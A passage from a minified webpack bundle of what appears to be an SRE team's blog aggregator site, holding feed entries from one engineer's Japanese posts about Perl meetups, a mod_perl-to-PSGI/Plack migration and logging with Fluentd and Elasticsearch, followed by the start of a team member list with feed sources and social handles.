ATNDatnd.org今回はPerlとPerl以外ということで、Perlの外の世界をつないでるもので一番最初に思いついたのがテンプレートエンジンだったので今回の発表になりました。自分のテンプレートの利用シーンは設定ファイルの自動生成ですね。テンプレートがあることで手作業で設定ファイルをいじる必要が基本的にはないので、手作業に起因ミスがないのが良いですよね。そのほかくりかえしの記述が必要なものもテンプレート使うと便利な場面が多いと思います。前回のLTが長すぎたので、真姫進行で行ったら、巻きすぎてしまいました。時間配分難しい。#kichijojipm 真姫すぎた。。— masasuzu? (@masasuz) July 10, 2015#kichijojipm 巻きすぎた。。— masasuzu? (@masasuz) July 10, 2015懇親会のお店はおしゃれな感じでさすが吉祥寺という感じでした。五反田とは違う。#kichijojipm 炙りマカレル pic.twitter.com/wpJTTnIvZF— masasuzu? (@masasuz) July 10, 2015他の人のスライドはこちらページからたどれると思います。吉祥寺.pm4終わりました - kichijojipm’s blogkichijojipm.hatenablog.com今回の吉祥寺.pmも楽しかったです。次回も参加したいです。余談1今回のKeynoteはAzusa Colorsを元にスライドを作りました。だいぶ良い感じにできました。ありがたいです。茜屋さんのイメージカラーのパープルを基調にしています。http://memo.sanographix.net/post/113681262780memo.sanographix.net余談2LTの途中で宣伝してましたが、五反田のモバイルファクトリーさんで7/31にCrystalの勉強会やるしいですよ。東京 Crystal 勉強会 #1 in 五反田 (2015/07/31 19:30〜)crystal.connpass.comGotandaは今技術的に熱い街です。そのほかGotanda.pmや五反田Perlみたいな勉強会も様々行われてます。","link":"https://blog.masasuzu.net/entry/2015/07/12/122011","isoDate":"2015-07-12T03:20:11.000Z","dateMiliSeconds":1436671211000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"2015-07-10-kichijoji.pm4_yurui_template","contentSnippet":"テンプレートとPerlに関するゆるい話\\r\\r吉祥寺.pm #4","link":"https://speakerdeck.com/masasuzu/2015-07-10-kichijoji-dot-pm4-yurui-template","isoDate":"2015-07-10T04:00:00.000Z","dateMiliSeconds":1436500800000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"2015年第二 四半期をふりかえる","contentSnippet":"7月にとうとうなりました。ざっくりふり返ります。お仕事mod_perl to PSGI/Plackこの四半期のメインタスクでした。弊社2事業部あるんですが、そのうちの片方の事業部のmod_perlアプリをPSGI/Plack化しました。後は事業部の人がちゃんとテストして、本番反映するだけです。もう一個の事業部のmod_perlアプリケーションは次の四半期に取りかかる予定です。雑感としては、mod_perl特有の機能はほぼ使ってないので、そんなに辛くは無かったです。どちらかというと、使っているモジュールが古すぎたり、SledgeのPlugin地獄だったりしてアプリの実装の方でちょこちょこはまることが多かったです。このあたりの話です。#gotandapm Gotanda.pm Perl Technology Conference #4 話してきた話 - 目の前に僕らの道があるmasasuzu.hatenablog.jpGitbucket地味にアップデートが出る度に追従してました。しかしながら、そこそこでかいレポジトリをGitbucketで管理するのはだいぶつらいことが見えてきました。まず、レポジトリブラウザが鬼のように重い。1日数10コミットするようなレポジトリだとまともに使えないので、ちょっと移行先を考えてます。Elasticsearch + Kibana4Kibana4入れました。Kibana3もまだ稼働中ですが、Kibana4で十分かなという気分です。Kibana4はすごい便利なので、そのあたりの話もどこかで一度したいです。開発環境の改善OrePAN2::Serverを廃止して、社内モジュールは静的サーバ置いたり、一つサーバでマルチユーザが同居するようなレガシーな開発環境の改善とかもろもろやってました。この辺もあとでエントリ書きたいところ。新卒技術者のメンタリング新卒技術者に対して仕事外で困ってる事とかのお悩みの相談乗ったり、成長を促すお手伝いをしたいたりします。会社としてもメンター制度できたばっかりで、組織的にも自分的にもいろいろ手探り感があるのは確かです。自分が見ている人はかなり優秀で日々成長が見て取れるので、そこをさらに促せるようにしていけたらと思います。書いた記事こう見るとあまりエントリ残してないですね。もう少し書きたいところ。4月勉強会#kichijojipm 吉祥寺.pm #3 に参加してきました。 - 目の前に僕らの道がある技術ubuntu12.04でruby2.2.1のビルド失敗するのはlibffi-devが入ってないから - ふり返る暇なんて無いね$PATHを見やすく表示したい - ふり返る暇なんて無いね5月技術ポートが空いてるか調べたいとき - ふり返る暇なんて無いねサーバ起動時に/etc/init.d/ に設定があるデーモンを自動起動したい - ふり返る暇なんて無いねElasticsearchを1.4以上に上げたらkibana3がElasticsearchにConnection Failedする際の対処 - ふり返る暇なんて無いねポエム縮退運用という考え方 - ふり返る暇なんて無いねあなたは嫌いですか。でも僕は好きです。 - ふり返る暇なんて無いね6月勉強会#gotandapm Gotanda.pm Perl Technology Conference #5 でLTの高速化に失敗しました - 目の前に僕らの道がある技術MySQLのLINEAR KEY パーティションでPKで検索しても遅い場合 - ふり返る暇なんて無いねPerlモジュールのバージョン比較したい - ふり返る暇なんて無いねポエム普段の行動がものをいう - ふり返る暇なんて無いね判断と判断の変更 - ふり返る暇なんて無いね感覚値はあくまで感覚値 - ふり返る暇なんて無いね次の四半期お仕事的にはもう一個の事業部のPSGI/Plack化と開発環境の改善をメインにやってくと思います。ここ最近ちょっといろいろ腹に貯めすぎなので、もう少し心にゆとりをもっていけたらなとは思いまする。","link":"https://blog.masasuzu.net/entry/2015/07/03/2015_2_retrospective","isoDate":"2015-07-03T00:00:00.000Z","dateMiliSeconds":1435881600000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"他社の障害対応きにならNight! に行ってきた","contentSnippet":"エンジニア交流会〜他社の障害対応きにならNight!〜 on Zusaarwww.zusaar.com一昨日の話ですが、Gaiaxさんに行ってきました。内容に関してはけっこうグレーな感じなこともあるので、話せないのですが、あー、あるよねー。とか だいぶつらい。。。って話を聞けて楽しかったです。他山の石にしたいです。インシデント管理に関してはちょっと痛いところがあるので見直したいなと思いました。懇親会で深い話が聞けていろいろ学びがありました。すごい楽しかったので次回もあれば参加したいです。寿司 pic.twitter.com/RnLrH5mxlp— masasuzu? (@masasuz) June 30, 2015内容言えないけどすごい為になってる— masasuzu? (@masasuz) June 30, 2015だいぶつらい話聞いてるもの— masasuzu? (@masasuz) June 30, 2015炎上案件だ。。。— masasuzu? (@masasuz) June 30, 2015インシデント管理に関してはちょっと痛いところあるなと思った。— masasuzu? (@masasuz) June 30, 2015なかなかこういう他社の障害事例聞けないので、今日は楽しかった。— masasuzu? (@masasuz) June 30, 2015innodbのデータ圧縮すると並列性が犠牲になるってのは、初耳だったのでちゃんと調べたい。— masasuzu? (@masasuz) June 30, 2015","link":"https://blog.masasuzu.net/entry/2015/07/02/134402","isoDate":"2015-07-02T04:44:02.000Z","dateMiliSeconds":1435812242000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"#gotandapm Gotanda.pm Perl Technology Conference #5 でLTの高速化に失敗しました","contentSnippet":"Gotanda.pm Perl Technology Conference #5 (2015/06/24 19:30〜)gotanda-pm.connpass.comGtanda.pmでLTしてきました。#gotandapm LTの高速化に失敗しました。— masasuzu? (@masasuz) June 24, 2015内容としてはPlack Applicationのアクセスログの話です。アクセスログそのものの話アクセスログの収集の話アクセスログの可視化/集計の話1個目の論点しか話せませんでした。猛省します。次回は事故らずに話したいです。最近Kibana4とElasticsearchを使っていてだいぶアクセスログに限らず ログ解析が捗っているので、その辺も別の機会に話せたらと思います。他の人の発表では、skajiさんの Acme::CPAN::Installerの発表がすごかったです。cpanモジュールをインストール出来るとこんなに速くなるのかと感心しました。業務で使いたいと思うくらいには速かったです。そのほかの人の発表も楽しく聞かせてもらいました。gotandapm参加者の皆さん!吉祥寺.pm4は、まだまだ参加者募集中です!https://t.co/JwGFxDOnXi#kichijojipm #gotandapm— magnoliak (@magnolia_k_) June 24, 2015どうやら吉祥寺.pm 来月開催らしいですよ。","link":"https://blog.masasuzu.net/entry/2015/06/25/184549","isoDate":"2015-06-25T09:45:49.000Z","dateMiliSeconds":1435225549000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"2015-06-25_gotanda.pm5","contentSnippet":"Plackのアクセスログの話","link":"https://speakerdeck.com/masasuzu/2015-06-25-gotanda-dot-pm5","isoDate":"2015-06-24T04:00:00.000Z","dateMiliSeconds":1435118400000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"#kichijojipm 吉祥寺.pm #3 に参加してきました。","contentSnippet":"吉祥寺.pm行ってきました。吉祥寺.pm (kichijojipm) #3 : ATNDatnd.org今回はツールチェインがテーマと言うことで、Minillaの話題が2件ほどあって、参考になりました。今回特によかったなと思ったのがpapixさんの新人研修の話でした。ガイアックスさんはここ二年くらいで新人研修を整備し始めたそうで、だいぶ充実した内容をやっていそうなので、こっそり参加したいです。#kichijojipm ガイアックスに新人研修受けに行きたい— masasuzu? (@masasuz) April 17, 2015話の中で研修資料をスライドじゃ無くてドキュメントとして残すってのが、印象に残ってます。OJTが基本なのですが、開発グループのエンジニアの有志が社内勉強会枠の時間*1で新人さんに最低限知っておいて欲しい技術基礎の勉強会を行っています。wikiに残しておいて、次年度使い回せるように + 中途の人が入ってきたときも一通り見れば分かるようにしてます。その辺、アプローチが似ているなと思います。さておき、今回も楽しかったです、上級者向けの話からperl少し書ける人でも役に立つ話まで聞けてレベル感的にも良い感じです。主催のmagnoliakさん、htk291さんありがとうございました。次回の吉祥寺.pm楽しみにしてます。吉祥寺.pm in 五反田楽しみにしてます!!!五反田で吉祥寺.pmとか。— 吉祥寺.pm (@kichijojipm) April 17, 2015参照吉祥寺.pm3終わりました - kichijojipm’s blogkichijojipm.hatenablog.com余談SSID: TMNetwork がいてふいた— masasuzu? (@masasuz) April 17, 2015*1:弊社、毎日終業定時前の1時間は勉強会の時間と会議室が確保されていて、好きにやって良いことになってる。もちろん毎日は開かれない","link":"https://blog.masasuzu.net/entry/2015/04/19/kichijoji.pm-3","isoDate":"2015-04-19T06:59:42.000Z","dateMiliSeconds":1429426782000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"2015年第一四半期をふりかえる","contentSnippet":"そろそろ3月も終わりそうなので、軽くまとめてみる。お仕事Slack連携ツール昨年末から1月にかけては、社内のチャットツールをIRCからSlackに移すためにもろもろの連携ツールを書いていました。WevService::Slack::IncomingWebHookはそういう事情で書いたコードです。WebService::Slack::IncomingWebHookというモジュールを書いてCPAN Authorとやらになったようです - 目の前には僕らの道があるmasasuzu.hatenablog.jp連携ツール自体は、Irisというプロジェクトコードで、HTTPでSlackへIncoming webhookを投げたり、SlackからOutgoing webhookを受けたりするProxy的なものです。コードは公開してないです。mod_perl to PSGI/Plack2月3月はmod_perlなプロジェクトをPSGI/Plack+Carton化をひたすらしていた感じです。このタスク自体は半期で終わらす予定なので、次の四半期も継続案件です。前回のGotanda.pmで話した件ですね。#gotandapm Gotanda.pm Perl Technology Conference #4 話してきた話 - 目の前には僕らの道があるmasasuzu.hatenablog.jp書いた記事1月H2データベースの話はGitbucketのDBの調子が悪くていったんデータをダンプしてDBファイルを作り直さなきゃいけなかった時の話のハズ。2014年に使った技術 - 目の前には僕らの道があるsudo -Hと環境変数($PATH)ではまった話 - ふり返る暇なんて無いねH2データベースのダンプ、リストアをする - ふり返る暇なんて無いね#chibapm Chiba.pm #6 に参加してきた - 目の前には僕らの道がある2月tmuxでwindow番号を変更したい - ふり返る暇なんて無いねperl5.16から overloadが\\"overload arg \'\\"\' is invalid \\"みたいなwarningを吐き出した - ふり返る暇なんて無いね情報共有に関してもやもや思ってること - ふり返る暇なんて無いね3月3月はちょっと古めのコードをいろいろいじっててはまっていたらしいですね。Perl 5.18からsmart matchはexperimentalなので使わないで - ふり返る暇なんて無いねとあるプロジェクトのコードのあんちぱたーん - ふり返る暇なんて無いねDebian Packageのバージョンを比較したい。 - ふり返る暇なんて無いね開発二部でLTしてきた #でぶつー - 目の前には僕らの道があるFurl::S3でSSL接続エラーが出る件 - ふり返る暇なんて無いね#gotandapm Gotanda.pm Perl Technology Conference #4 話してきた話 - 目の前には僕らの道がある設定と処理をわけるということ - ふり返る暇なんて無いねUbuntu 12.04で/tmpがおかしくてうまく起動しなかった件 - ふり返る暇なんて無いね次の四半期お仕事的には引き続きmod_perlを無くしていく作業を続けていると思います。お仕事外で現状これといってやりたいことはないんですが、最近仕事外のコードをあまり書いてないので、その辺少し改善できたらなとは思いまする。","link":"https://blog.masasuzu.net/entry/2015/03/30/2015_1_retrospective","isoDate":"2015-03-30T01:00:00.000Z","dateMiliSeconds":1427677200000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"#gotandapm Gotanda.pm Perl Technology Conference #4 話してきた話","contentSnippet":"Gotanda.pm Perl Technology Conference #4 (2015/03/25 19:30〜)gotanda-pm.connpass.comだいぶ昔のmod_perlで動いているプロジェクトをPSGI/Plack化するために現在進行形で作業してるよという話です。直前に書き上げてリハーサル全くしないまま本番で話したので、全然時間が足りなかったです。#gotandapm つらいしか言わずに終わってしまった— masasuzu? (@masasuz) March 25, 2015さて、古いmod_perlなプロジェクトも新しめのプロジェクトと同じスキームに載せて動くように現在進行形で動いているところです。それはそれとして大人のGotanda.pmも面白そうですね。とはいえ、ソンナニ闇ハカカエテナイデスヨ。全然。大人のGotanda.pmとかやって, GXやMFのインフラ部署の人に闇語ってもらいたい #gotandapm— パブリシティ権放棄型 (@__papix__) March 25, 2015ちなみに、新しめのプロジェクトで使っているスキームはそういえば、Gotanda.pm #1で話したくらいに作っていたようです。#gotandapm Gotanda.pm Perl Technology Conference #1に参加した LTした - 目の前には僕らの道があるmasasuzu.hatenablog.jp会場をお貸しいただいたGaiaxさんありがとうございました。運営のみなさんもお疲れ様でした。ありがとうございました。Gotanda.pmお疲れ様でした. 会場やUstreamは如何でしたでしょうか. 今回のように, 弊社セミナールームは勉強会会場として貸し出す事も出来ますので, 使ってみたいという方は @__papix__ までご連絡下さい. #gotandapm— パブリシティ権放棄型 (@__papix__) March 25, 2015蛇足ですが、Gaiaxさんのすぐ近くの麺彩房の油そば好きです。五反田ぴーえむ pic.twitter.com/6UBO7Y6fDi— masasuzu? (@masasuz) March 25, 2015","link":"https://blog.masasuzu.net/entry/2015/03/26/gotanda.pm_4","isoDate":"2015-03-26T13:38:13.000Z","dateMiliSeconds":1427377093000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"2015-03-25_gotanda.pm4 ","contentSnippet":"mod_perlなプロジェクトをPSGI/Plack対応しようとしてる話。","link":"https://speakerdeck.com/masasuzu/2015-03-25-gotanda-dot-pm4","isoDate":"2015-03-25T04:00:00.000Z","dateMiliSeconds":1427256000000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"開発二部でLTしてきた #でぶつー","contentSnippet":"開発二部という社内の部活でLTをしてきました。最近古めのプロジェクトを多少モダンにするタスクをしてるので、そのあたりで得た知見を書いてます。特に何かを批判したいわけではなく、こういうのはよくないから、新しいプロジェクトではこういうことは避けると幸せになりやすいよと言いたいだけです。よくないコードは直すだけです。ただdisって何もしないのはよくないですし、そういうことをしたいわけではないです。","link":"https://blog.masasuzu.net/entry/2015/03/17/220240","isoDate":"2015-03-17T13:02:40.000Z","dateMiliSeconds":1426597360000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"2015-03-17_dev2_LT","contentSnippet":"#でぶつー でのLT\\r\\r最近関わったプロジェクトで得た、これはなるべくやって欲しくないことをざっくり挙げていきました。\\r将来のプロジェクトで同じ轍を踏まないように書き残しておきます。","link":"https://speakerdeck.com/masasuzu/2015-03-17-dev2-lt","isoDate":"2015-03-17T04:00:00.000Z","dateMiliSeconds":1426564800000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"#chibapm Chiba.pm #6 に参加してきた","contentSnippet":"行ってきました。Chiba.pm #6 : ATNDChiba.pm #6 : ATNDCPAN Authorになったのでその辺の話をLTしてきました。前にエントリを書いた話です。Minilla便利でした。Chiba.pmなのにPerlの話をしてすみませんでした。。。。久しぶりのChiba.pm楽しかったです。マグロ美味しかったです。次回も楽しみです。過去のchiba.pm#chibapm Chiba.pm #5 でログ回りのことを聞きたかった - 目の前には僕らの道があるchiba.pm 2回目に行ってきた #chibapm - 目の前には僕らの道がある#chibapm #1に行ってきた。 - 目の前には僕らの道がある","link":"https://blog.masasuzu.net/entry/2015/01/28/chiba.pm_6","isoDate":"2015-01-28T09:15:39.000Z","dateMiliSeconds":1422436539000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"2015-01-24_chiba.pm6","contentSnippet":"","link":"https://speakerdeck.com/masasuzu/2015-01-24-chiba-dot-pm6","isoDate":"2015-01-24T05:00:00.000Z","dateMiliSeconds":1422075600000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"2014年に使った技術","contentSnippet":"ざっくりと去年使った技術をざっくりふりかえってみる。ホントにざっくりです。PSGI/Plack今働いている会社のwebサービスのバックエンドはperlで動いています。そしてそれらのアプリケーションはmod_perl上で動くようになっていました。*1があってそろそろmod_perl卒業したいよねと検証自体は重ねていたんですが、年初くらいに都合よくほかのサービスに影響を与えることのない小規模な新規プロジェクト*2を作ることになりました。もの自体は1週間くらいでくみ上げました。ここで組んだベースアーキテクチャが以降のPSGI/Plackのプロジェクトのベースになっています。Perl::Build / xbuildtagomoris/xbuild \xb7 GitHubPerl::Build - perl builder - metacpan.orgperlに依存するとディストリビューションやOSを変える度にperlのバージョンが変わっていろいろ面倒なので、PSGI/Plack化したプロジェクトではperlを独自にビルドするようにしてます。perl-buildでビルドしたperlをdebian package化して使っています。各サーバでperlをビルドするのは時間の無駄遣いなのでdebで配布します。CartonCarton - Perl module dependency manager (aka Bundler for Perl) - metacpan.orgsystem perlを使っていたときは、perl moduleもdebian packageで入れていたんですが、独自ビルドするようになったので、モジュール管理にcartonを使ってます。OrePAN2::ServerOrePAN2::Server - DarkPAN Server - metacpan.org基本社内モジュールは作らない/作らせない/CPANに上げやがれという方針ですが、どうしても外には出せない社内ロジックがあるのでそういうものを置く場所として使っています。UpstartUbuntuで動いているサービスのデーモン管理はupstartに基本任せています。設定ファイル書くの簡単で、癖がそんなにないので重宝しているんですが、なんか次のUbuntuからsystemdに移行するみたいな話があってだいぶ辛い予感がしてます。FluentdFluentdを全サーバに導入しました。今まで各サーバに入ってgrep/wc/sed/tailを駆使してログ解析していたアプリケーションログ(イベントログ)、アクセスログ、エラーログを1つの場所に集約できるようになってだいぶ捗ってます。アクセスログに関しては最終的にvhost毎と vhostとstatus code(4xx,5xxxのみ)毎にファイルを分けて出力するようにしてるので、アクセスログ解析が今までよりだいぶ捗るようになりました。だいぶライフチェンジングです。Elasticsearch / KibanaFluentd入れた時点でだいぶログ回りは快適になったんですが、それでも最終的なログのストア先はファイル*3なのでアプリから扱うには少し不便とか諸事情あったので、いろいろ検証した上でElasticsearchを入れました。GitBuckettakezoe/gitbucket \xb7 GitHubgitレポジトリへのアクセスは基本sshを使っていたんですが、開発者以外の企画者やデザイナもgitを使うようになってきて、いろいろアカウント管理の問題が出てきて素のままgit使うのはちょっと管理上つらいというのがきっかけでその辺解消するために導入したのがgithub cloneのGitBucketでした。レポジトリブラウザとしてよいのですが、歴史が深いレポジトリとかだとだいぶ重かったりするのが少し難点です。Slack試験導入中です。正直別にIRCでもよくね?感がまだあります。デフォルトでwebから見れるという点は便利なような気がしなくもないです。なんかほかにもやったような気がしますが、去年はざっくりこんなことしていたらしいです。*1:system perlにはもう依存したくないよねとかいろいろ。察してください*2:ちなみにStartDash(START:DASH!!)というプロジェクトコードを付けていた。察してください*3:一定ファイル容量でローテートされる。そしてgzip圧縮してるのとしてないの(バッファ)が混じってる","link":"https://blog.masasuzu.net/entry/2015/01/04/142926","isoDate":"2015-01-04T05:29:26.000Z","dateMiliSeconds":1420349366000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"2014-11-28_Elasticsearch","contentSnippet":"社内でElasticsearchを導入した時の説明資料","link":"https://speakerdeck.com/masasuzu/2014-11-28-elasticsearch","isoDate":"2014-11-28T05:00:00.000Z","dateMiliSeconds":1417150800000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"2014-10-11_chiba.pm5","contentSnippet":"アプリケーションのログ収集/監視ほかの会社はどうしてるのかしら?というお話","link":"https://speakerdeck.com/masasuzu/2014-10-11-chiba-dot-pm5","isoDate":"2014-10-27T04:00:00.000Z","dateMiliSeconds":1414382400000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"2014-09-18_gotanda.pm2","contentSnippet":"連続ログインを支える技術。\\rsshログインでも連続ログインチェックしたい!!!的な話","link":"https://speakerdeck.com/masasuzu/2014-09-18-gotanda-dot-pm2","isoDate":"2014-09-17T04:00:00.000Z","dateMiliSeconds":1410926400000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"2014-06-11_gotanda.pm","contentSnippet":"とある企業のPerlモジュール管理の歴史","link":"https://speakerdeck.com/masasuzu/2014-06-11-gotanda-dot-pm","isoDate":"2014-06-11T04:00:00.000Z","dateMiliSeconds":1402459200000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"}]')}}]); \ No newline at end of file +"use strict";(self.webpackChunk_N_E=self.webpackChunk_N_E||[]).push([[983],{1807:function(e,t,o){o.d(t,{T:function(){return a}});let a=[{id:"yteraoka",name:"yteraoka",role:"SRE",bio:"ojisan",avatarSrc:"/avatars/yteraoka.jpeg",sources:["https://blog.1q77.com/index.xml","https://qiita.com/yteraoka/feed","https://medium.com/feed/@yteraoka","https://zenn.dev/yteraoka/feed"],includeUrlRegex:"",twitterUsername:"yteraoka",githubUsername:"yteraoka",websiteUrl:"https://blog.1q77.com/"},{id:"tozastation",name:"tozastation",role:"SRE",bio:"tarako_chan",avatarSrc:"/avatars/tozastation.jpg",sources:["https://qiita.com/tozastation/feed","https://tozastation.hashnode.dev/rss.xml","https://zenn.dev/tozastation/feed"],includeUrlRegex:"",twitterUsername:"tozastation",githubUsername:"tozastation",websiteUrl:"https://github.com/tozastation"},{id:"kyohmizu",name:"kyohmizu",role:"SRE",bio:"mizumoto",avatarSrc:"/avatars/kyohmizu.png",sources:["https://kyohmizu.hatenablog.com/feed","https://qiita.com/kyohmizu/feed"],includeUrlRegex:"",twitterUsername:"kyohmizu",githubUsername:"kyohmizu",websiteUrl:"https://profile.kyohmizu.com/"},{id:"nwiizo",name:"nwiizo",role:"Software Developer",bio:"The Passionate Programmer",avatarSrc:"/avatars/nwiizo.jpeg",sources:["https://syu-m-5151.hatenablog.com/feed","https://zenn.dev/nwiizo/feed","https://speakerdeck.com/nwiizo.rss"],includeUrlRegex:"",twitterUsername:"nwiizo",githubUsername:"nwiizo",websiteUrl:"https://nwiizo.github.io/"},{id:"skikkh",name:"skikkh",role:"SRE",bio:"skikkh",avatarSrc:"/avatars/skikkh.jpeg",sources:["https://qiita.com/skikkh/feed"],includeUrlRegex:"",twitterUsername:"skikkh",githubUsername:"skikkh",websiteUrl:""},{id:"toshikish",name:"toshikish",role:"SRE",bio:"Toshiki Shimomura",avatarSrc:"/avatars/toshikish.png",sources:["https://toshikish.hateblo.jp/feed","https://zenn.dev/toshikish/feed","https://qiita.com/toshikish/feed"],includeUrlRegex:"",twitterUsername:"",githubUsername:"toshikish",websiteUrl:""},{id:"Sreake",name:"Sreake",role:"",bio:"This Is The Sreake Section Blog.",avatarSrc:"/avatars/sreake.png",sources:["https://sreake.com/feed/"],includeUrlRegex:"blog",excludeUrlRegex:"event",twitterUsername:"SreakeJ",githubUsername:"",websiteUrl:"https://sreake.com"},{id:"Reckoner",name:"Reckoner",role:"",bio:"This Is The Reckoner Section Blog.",avatarSrc:"/avatars/reckoner.png",sources:[],includeUrlRegex:"blog",excludeUrlRegex:"event",twitterUsername:"reckoner_japan",githubUsername:"",websiteUrl:"https://reckoner.io/"},{id:"tez",name:"Takuya Tezuka",role:"JB",bio:"tez",avatarSrc:"/avatars/tezuka.jpeg",sources:["https://qiita.com/TT_Private/feed","https://speakerdeck.com/takuyatezuka.rss"],includeUrlRegex:"qiita.com/TT_Private",twitterUsername:"tt0603",githubUsername:"taku-tez",websiteUrl:"https://www.wantedly.com/id/takuya_tezuka"},{id:"sosan01",name:"Soichiro Tsuchida",role:"SRE",bio:"sosan",avatarSrc:"/avatars/sosan01.png",sources:[],includeUrlRegex:"",twitterUsername:"",githubUsername:"sosan01",websiteUrl:""},{id:"atsuya0",name:"Atsuya Tsukada",role:"SRE",bio:"human",avatarSrc:"/avatars/atsuya0.jpg",sources:["https://zenn.dev/tayusa/feed","https://qiita.com/atsuya0/feed"],includeUrlRegex:"",twitterUsername:"",githubUsername:"atsuya0",websiteUrl:"https://github.com/atsuya0"},{id:"masasuzu",name:"SUZUKI, Masashi",role:"SRE",bio:"yasetai",avatarSrc:"/avatars/masasuzu.png",sources:["https://blog.masasuzu.net/feed","https://speakerdeck.com/masasuzu.rss"],includeUrlRegex:"",twitterUsername:"masasuz",githubUsername:"masasuzu",websiteUrl:"https://masasuzu.net"},{id:"kiyos",name:"Kyohei Saito",role:"SRE",bio:"haraheri",avatarSrc:"/avatars/kiyos.jpeg",sources:["https://zenn.dev/kyohei_saito/feed"],includeUrlRegex:"",twitterUsername:"kiyo_12_07",githubUsername:"kiyo-s",websiteUrl:""},{id:"mos914",name:"Yu Kaneko",role:"SRE",bio:"koke",avatarSrc:"/avatars/mos914.png",sources:["https://qiita.com/dirtymosschan/feed"],includeUrlRegex:"",twitterUsername:"",githubUsername:"mos914",websiteUrl:""},{id:"unvavo",name:"nobu",role:"SRE",bio:"nobu",avatarSrc:"/avatars/nobu.png",sources:[],includeUrlRegex:"",twitterUsername:"unvavo",githubUsername:"unvavo",websiteUrl:""},{id:"hiroki-hasegawa",name:"長谷川 広樹",role:"なんらかのエンジニア",bio:"顔画像は著作権フリーですのでどうぞ",avatarSrc:"/avatars/hirokihasegawa.png",sources:["https://hiroki-hasegawa.hatenablog.jp/feed","https://speakerdeck.com/hiroki_hasegawa.rss"],includeUrlRegex:"",twitterUsername:"Hiroki__IT",githubUsername:"hiroki-it",websiteUrl:"https://hiroki-it.github.io/tech-notebook/"},{id:"kaisato",name:"Kai Sato",role:"SRE",bio:"domo",avatarSrc:"/avatars/kaisato.png",sources:[],includeUrlRegex:"",twitterUsername:"KAI21441756",githubUsername:"kaitexio",websiteUrl:""},{id:"ysakurai",name:"Yusuke Sakurai",role:"SRE",bio:"ysakurai",avatarSrc:"/avatars/ysakurai.jpg",sources:["https://qiita.com/ys1/feed"],includeUrlRegex:"",twitterUsername:"",githubUsername:"saku3",websiteUrl:""},{id:"tayakun",name:"Soichiro Taya",role:"SRE",bio:"tayakun",avatarSrc:"/avatars/tayakun.png",sources:["https://qiita.com/tayakun/feed"],includeUrlRegex:"",twitterUsername:"",githubUsername:"tayatamn",websiteUrl:""},{id:"SatohJohn",name:"SatohJohn",role:"Software Developer",bio:"SatohJohn",avatarSrc:"/avatars/satohjohn.png",sources:["https://qiita.com/satohjohn/feed","https://zenn.dev/satohjohn/feed"],includeUrlRegex:"",twitterUsername:"satohjohn",githubUsername:"satohjohn",websiteUrl:""},{id:"bayobayo0324",name:"bayobayo0324",role:"back/front/app Engineer",bio:"osake daisuki",avatarSrc:"/avatars/bayobayo0324.jpeg",sources:["https://qiita.com/bayobayo0324/feed"],includeUrlRegex:"",twitterUsername:"",githubUsername:"bayobayo0324",websiteUrl:""},{id:"myamamoto",name:"myamamoto",role:"SRE",bio:"human",avatarSrc:"/avatars/myamamoto.jpeg",sources:["https://zenn.dev/ureuzy/feed"],includeUrlRegex:"",twitterUsername:"ureuzy",githubUsername:"ureuzy",websiteUrl:""},{id:"seno",name:"seno",role:"DBRE",bio:"seno",avatarSrc:"/avatars/seno.jpeg",sources:["https://zenn.dev/nedoko_dok0dko/feed"],includeUrlRegex:"",twitterUsername:"",githubUsername:"senohirona",websiteUrl:""},{id:"sakama",name:"sakama",role:"SRE",bio:"homo sapiens",avatarSrc:"/avatars/sakama.jpeg",sources:[],includeUrlRegex:"",twitterUsername:"",githubUsername:"junichiro-sakama",websiteUrl:""},{id:"stakamura",name:"Shohei Takamura",role:"SRE",bio:"SRE",avatarSrc:"/avatars/stakamura.jpg",sources:["https://zenn.dev/hakushou41/feed"],includeUrlRegex:"",twitterUsername:"hakushou41",githubUsername:"hakushou41",websiteUrl:""},{id:"toVersus",name:"Tsubasa Nagasawa",role:"SRE",bio:"lazy programmer",avatarSrc:"/avatars/toVersus.png",sources:["https://qiita.com/toVersus/feed","https://zenn.dev/toversus/feed"],includeUrlRegex:"",twitterUsername:"toversus26",githubUsername:"toVersus",websiteUrl:""},{id:"raba-jp",name:"Hiroki Sakuraba",role:"Software Developer",bio:"meow",avatarSrc:"/avatars/raba-jp.jpg",sources:["https://zenn.dev/raba_jp/feed"],includeUrlRegex:"",twitterUsername:"",githubUsername:"raba-jp",websiteUrl:""},{id:"ixsakra",name:"Ryosuke Sakurai",role:"SRE",bio:"ganbarumasu 'w'",avatarSrc:"/avatars/ixsakra.jpg",sources:[],includeUrlRegex:"",twitterUsername:"",githubUsername:"",websiteUrl:""},{id:"nnaka2992",name:"NAKADATE Naoki",role:"DBRE",bio:"what on the earth is Database?",avatarSrc:"/avatars/nnaka2992.jpg",sources:["https://nnaka2992.hatenablog.com/feed","https://zenn.dev/nnaka2992/feed"],includeUrlRegex:"",twitterUsername:"",githubUsername:"",websiteUrl:"https://nnaka2992.hatenablog.com/"},{id:"satoken",name:"satoken",role:"SRE",bio:"How do you like Wednesday?",avatarSrc:"/avatars/satoken.jpg",sources:["https://zenn.dev/satoken/feed"],includeUrlRegex:"",twitterUsername:"",githubUsername:"",websiteUrl:""},{id:"bells17",name:"bells17",role:"Software Engineer",bio:"Software 